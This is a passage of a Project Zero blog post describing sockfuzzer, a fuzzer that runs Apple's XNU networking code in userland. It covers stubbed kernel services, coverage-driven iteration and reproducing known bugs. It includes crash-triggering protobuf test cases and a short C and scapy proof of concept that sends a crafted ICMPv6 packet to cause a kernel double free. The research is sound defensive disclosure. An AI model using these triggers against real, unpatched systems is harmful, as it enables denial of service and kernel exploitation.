I’ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.
int __attribute__((warn_unused_result))
copyin(void* user_addr, void* kernel_addr, size_t nbytes) {
// Address 1 means use fuzzed bytes, otherwise use real bytes.
// NOTE: this does not support nested useraddr.
if (user_addr != (void*)1) {
memcpy(kernel_addr, user_addr, nbytes);
return 0;
}
if (get_fuzzed_bool()) {
return -1;
}
get_fuzzed_bytes(kernel_addr, nbytes);
return 0;
}
---
Copyout is designed similarly. We often don’t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.
# Synchronization and Threads
Among the many changes made to XNU’s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level “sequences” are [preferred to using physical threads](<https://chromium.googlesource.com/chromium/src/+/master/docs/threading_and_tasks.md#prefer-sequences-to-physical-threads>). Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the [AppCache fuzzer](<https://source.chromium.org/chromium/chromium/src/+/master:content/browser/appcache/appcache_fuzzer.cc;l=275;drc=db9ae7941adc1d95c943accce9e0151d265fd640>), sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.
I suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.
# Randomness
Randomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case’s data_provider field.
# Authentication
XNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian’s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.
For example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:
static int
socket_common(struct proc *p,
int domain,
int type,
int protocol,
pid_t epid,
int32_t *retval,
int delegate)
{
struct socket *so;
struct fileproc *fp;
int fd, error;
AUDIT_ARG(socket, domain, type, protocol);
#if CONFIG_MACF_SOCKET_SUBSET
if ((error = mac_socket_check_create(kauth_cred_get(), domain,
type, protocol)) != 0) {
return error;
}
#endif /* MAC_SOCKET_SUBSET */
---
When we reach this function in our fuzzer, we trigger an assert crash as this functionality was stubbed.
#6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3
#7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3
#8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39
#9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9
#10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10
#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19
---
Now, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we’ll crash again when the pointer is used).
void* kauth_cred_get() {
return (void*)1;
}
---
Now we crash actually checking the KAuth permissions.
#6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3
#7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33
#8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15
#9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9
#10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10
#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19
#12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1
---
Now we simply return 0 and move on.
int mac_socket_check_create() { return 0; }
---
As you can see, we don’t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want.
Coverage Guided Development
We’ve paid a sizable initial cost to implement this fuzz target, but we’re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypy5nffIIMxqcIAkEku-SJldrsLbyXhU-th0AbxjTCf8e8hM-L4hpsxAJUbibDeaTMsiHpirbmlNqKqSa3eIdd1bJYm9HtfDoVTNbItsbu7xdZDq5gG9eK5l8qHEblS7LoyglGzTqzn_1l5XXNIBf9YOdT2JiJ2_6wiE9_Yd7KrDaM-MhERHw4myg/s658/image4.png>)
This excerpt from IP option handling shows that we don’t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it’s relatively easy to plan actionable and high-value tasks around the fuzzer.
I like to think about improving a fuzz target by either improving “soundness” or “completeness.” Logicians probably wouldn’t be happy with how I’m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it’s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.
Improving soundness is the other side of the coin here. I’ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I’m comfortable missing some bugs as I think these simple fakes enable better coverage, and it’s a net win. But sometimes, I’ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.
All in all, there is plenty of work that can be done at any given point. Fuzzing isn’t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it’s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.
# Packet Delivery
I’d like to cover one example to demonstrate the value of the “bottom-up” unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.
When an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.
void
tcp_input(struct mbuf *m, int off0)
{
// ...
if (isipv6) {
inp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,
&ip6->ip6_dst, th->th_dport, 1,
m->m_pkthdr.rcvif);
} else
#endif /* INET6 */
inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,
ip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif);
---
Here’s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn’t introduce any regressions. Now when a vulnerability is discovered, it’s just a matter of fixing up headers to match packets to the appropriate PCB. That’s light work for a vulnerability researcher looking for a remote memory corruption bug.
/*
* Lookup PCB in hash list.
*/
struct inpcb *
in_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,
u_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,
struct ifnet *ifp)
{
// ...
head = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,
pcbinfo->ipi_hashmask)];
LIST_FOREACH(inp, head, inp_hash) {
- if (inp->inp_faddr.s_addr == faddr.s_addr &&
- inp->inp_laddr.s_addr == laddr.s_addr &&
- inp->inp_fport == fport &&
- inp->inp_lport == lport) {
+ if (!get_fuzzed_bool()) {
if (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=
WNT_STOPUSING) {
lck_rw_done(pcbinfo->ipi_lock);
return inp;
---
Astute readers may have noticed that the PCBs are fetched from a hash table, so it’s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn’t do this as lookups become O(n), but we only create a few sockets, so it’s acceptable.
diff \--git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h
index a5ec42ab..37f6ee50 100644
\--- a/bsd/netinet/in_pcb.h
+++ b/bsd/netinet/in_pcb.h
@@ -611,10 +611,9 @@ struct inpcbinfo {
u_int32_t ipi_flags;
};
-#define INP_PCBHASH(faddr, lport, fport, mask) \
- (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))
-#define INP_PCBPORTHASH(lport, mask) \
- (ntohs((lport)) & (mask))
+// nedwill: let all pcbs share the same hash
+#define INP_PCBHASH(faddr, lport, fport, mask) (0)
+#define INP_PCBPORTHASH(lport, mask) (0)
#define INP_IS_FLOW_CONTROLLED(_inp_) \
((_inp_)->inp_flags & INP_FLOW_CONTROLLED)
---
Checking Our Work: Reproducing the Sample Bugs
With most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here’s what we see shortly after we run the fuzzer with those fixes reverted:
==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58
WRITE of size 20 at 0x61d00029f474 thread T0
#0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3
#1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3
#2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2
#3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2
#4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34
#5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3
#6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7
#7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9
0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)
allocated by thread T0 here:
#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3
#1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45
#2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12
#3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6
#4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7
#5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2
#6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34
#7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3
#8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7
#9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9
---
When we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn’t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.
commands {
ip_input {
raw_ip4: "M\001\000I\001\000\000\000\000\000\000\000III\333\333\333\333\333\333\333\333\333\333IIIIIIIIIIIIII\000\000\000\000\000III\333\333\333\333\333\333\333\333\333\333\333\333IIIIIIIIIIIIII"
}
}
data_provider: ""
---
If we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian’s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in mptcp_session_destroy? The original vulnerability was an OOB write, but ASAN couldn’t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don’t catch the bug until later, when a randomly corrupted pointer is accessed.
==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0
#0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3
#1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36
#2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3
#3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3
#4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16
#5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3
#6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3
0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)
allocated by thread T0 here:
#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3
#1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10
#2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8
#3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15
#4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10
#5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10
#6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9
#7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11
#8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9
#9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10
#10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19
---
Here’s the protobuf input for the crashing testcase:
commands {
socket {
domain: AF_MULTIPATH
so_type: SOCK_STREAM
protocol: IPPROTO_IP
}
}
commands {
connectx {
socket: FD_0
endpoints {
sae_srcif: IFIDX_CASE_0
sae_srcaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\304"
}
}
sae_dstaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: ""
}
}
}
associd: ASSOCID_CASE_0
flags: CONNECT_DATA_IDEMPOTENT
flags: CONNECT_DATA_IDEMPOTENT
flags: CONNECT_DATA_IDEMPOTENT
}
}
commands {
connectx {
socket: FD_0
endpoints {
sae_srcif: IFIDX_CASE_0
sae_dstaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: ""
}
}
}
associd: ASSOCID_CASE_0
flags: CONNECT_DATA_IDEMPOTENT
}
}
commands {
connectx {
socket: FD_0
endpoints {
sae_srcif: IFIDX_CASE_0
sae_srcaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: ""
}
}
sae_dstaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\304"
}
}
}
associd: ASSOCID_CASE_0
flags: CONNECT_DATA_IDEMPOTENT
flags: CONNECT_DATA_IDEMPOTENT
flags: CONNECT_DATA_AUTHENTICATED
}
}
commands {
connectx {
socket: FD_0
endpoints {
sae_srcif: IFIDX_CASE_0
sae_dstaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: ""
}
}
}
associd: ASSOCID_CASE_0
flags: CONNECT_DATA_IDEMPOTENT
}
}
commands {
close {
fd: FD_8
}
}
commands {
ioctl_real {
siocsifflags {
ifr_name: LO0
flags: IFF_LINK1
}
}
}
commands {
close {
fd: FD_8
}
}
data_provider: "\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025\025"
---
Hmm, that’s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer’s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.
commands {
socket {
domain: AF_MULTIPATH
so_type: SOCK_STREAM
protocol: IPPROTO_IP
}
}
commands {
connectx {
socket: FD_0
endpoints {
sae_srcif: IFIDX_CASE_1
sae_dstaddr {
sockaddr_generic {
sa_family: AF_MULTIPATH
sa_data: "bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte" # string length 131
}
}
}
associd: ASSOCID_CASE_0
}
}
data_provider: ""
---
This is a lot easier to read! It appears that SockFuzzer managed to open a socket from the AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as “listen” and “mbuf” appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it’s like to work with the output of this fuzzer.
In my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn’t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.
In [my ](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>)[previous post](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) describing the “SockPuppet” vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I’d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>).
commands {
socket {
domain: AF_INET6
so_type: SOCK_RAW
protocol: IPPROTO_IP
}
}
commands {
set_sock_opt {
level: SOL_SOCKET
name: SO_RCVBUF
val: "\021\000\000\000"
}
}
commands {
set_sock_opt {
level: IPPROTO_IPV6
name: IP_FW_ZERO
val: "\377\377\377\377"
}
}
commands {
ip_input {
tcp6_packet {
ip6_hdr {
ip6_hdrctl {
ip6_un1_flow: 0
ip6_un1_plen: 0
ip6_un1_nxt: IPPROTO_ICMPV6
ip6_un1_hlim: 0
}
ip6_src: IN6_ADDR_LOOPBACK
ip6_dst: IN6_ADDR_ANY
}
tcp_hdr {
th_sport: PORT_2
th_dport: PORT_1
th_seq: SEQ_1
th_ack: SEQ_1
th_off: 0
th_win: 0
th_sum: 0
th_urp: 0
is_pure_syn: false
is_pure_ack: false
}
data: "\377\377\377\377\377\377\377\377\377\377\377\377q\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
}
}
}
data_provider: ""
---
This automatically minimized test case requires some human translation to a report that’s actionable by developers who don’t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.
#include <sys/socket.h>
#define __APPLE_USE_RFC_3542
#include <netinet/in.h>
#include <stdio.h>
#include <unistd.h>
int main() {
int fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
if (fd < 0) {
printf("failed\n");
return 0;
}
int res;
// This is not needed to cause a crash on macOS 10.14.6, but you can
// try setting this option if you can't reproduce the issue.
// int space = 1;
// res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));
// printf("res1: %d\n", res);
int enable = 1;
res = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));
printf("res2: %d\n", res);
// Keep the socket open without terminating.
while (1) {
sleep(5);
}
close(fd);
return 0;
}
---
With the socket open, it’s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a “packet too big” notification would reach the buggy code, so I used the [scapy](<https://scapy.net/>) library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.
from scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw
outer = IPv6(dst="::1") / ICMPv6PacketTooBig() / ("\x41"*40)
print(raw(outer).hex())
p = sr1(outer)
if p:
p.show()
---
Creating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing “kernel” using gdb.
Drawbacks
Any fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can’t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it’s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition [in the bind syscall](<https://youtu.be/8cOx7vfszZU?t=366>).
Another issue lies in the fact that by replacing so much functionality by hand, it’s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in [packet filtering](<https://twitter.com/WangTielei/status/1246376070367965184>). I don’t support VFS at the moment, so I can’t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.
Per-test case determinism is an issue that I’ve solved only partially. If test cases aren’t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It’s hard to keep track of them to clean up properly but they are important enough that it’s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there’s a way to cleanly tear down the whole stack to prevent this problem.
Perhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn’t necessarily match real attackers’ workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. [Binary instrumentation](<https://github.com/googleprojectzero/TinyInst>) can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.
Open Sourcing and Future Work
This fuzzer is now open source on [GitHub](<https://github.com/googleprojectzero/SockFuzzer>). I invite you to study the code and improve it! I’d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I’m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There’s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.
An interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I’d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.
Conclusion
Modern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to [shipping](<https://www.synacktiv.com/en/publications/return-of-the-ios-sandbox-escape-lightspeeds-back-in-the-race.html>) [security](<https://www.theguardian.com/technology/2019/aug/20/apple-reopens-security-flaw-ios-iphone>) [regressions](<https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c6c9fee35dc27362b7bac34b2fc9f5b8ace2e22c>). Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.
Since my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU’s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don’t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.
{"id": "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "vendorId": null, "type": "googleprojectzero", "bulletinFamily": "info", "title": "\nDesigning sockfuzzer, a network syscall fuzzer for XNU\n", "description": "Posted by Ned Williamson, Project Zero\n\nIntroduction\n\nWhen I started my 20% project \u2013 an initiative where employees are allocated twenty-percent of their paid work time to pursue personal projects \u2013 with Project Zero, I wanted to see if I could apply the techniques I had learned fuzzing Chrome to XNU, the kernel used in iOS and macOS. My interest was sparked after learning some prominent members of the iOS research community believed the kernel was \u201cfuzzed to death,\u201d and my understanding was that most of the top researchers used auditing for vulnerability research. This meant finding new bugs with fuzzing would be meaningful in demonstrating the value of implementing newer fuzzing techniques. In this project, I pursued a somewhat unusual approach to fuzz XNU networking in userland by converting it into a library, \u201cbooting\u201d it in userspace and using my standard fuzzing workflow to discover vulnerabilities. Somewhat surprisingly, this worked well enough to reproduce some of my peers\u2019 recent discoveries and report some of my own, one of which was a reliable privilege escalation from the app context, CVE-2019-8605, dubbed \u201cSockPuppet.\u201d I\u2019m excited to open source this fuzzing project, \u201csockfuzzer,\u201d for the community to learn from and adapt. In this post, we\u2019ll do a deep dive into its design and implementation.\n\nAttack Surface Review and Target Planning\n\n# Choosing Networking\n\nWe\u2019re at the beginning of a multistage project. I had enormous respect for the difficulty of the task ahead of me. I knew I would need to be careful investing time at each stage of the process, constantly looking for evidence that I needed to change direction. The first big decision was to decide what exactly we wanted to target.\n\nI started by downloading the [XNU sources](<https://opensource.apple.com/tarballs/xnu/>) and reviewing them, looking for areas that handled a lot of attacker-controlled input and seemed amenable to fuzzing \u2013 immediately the networking subsystem jumped out as worthy of research. I had just exploited a Chrome sandbox bug that leveraged collaboration between an exploited renderer 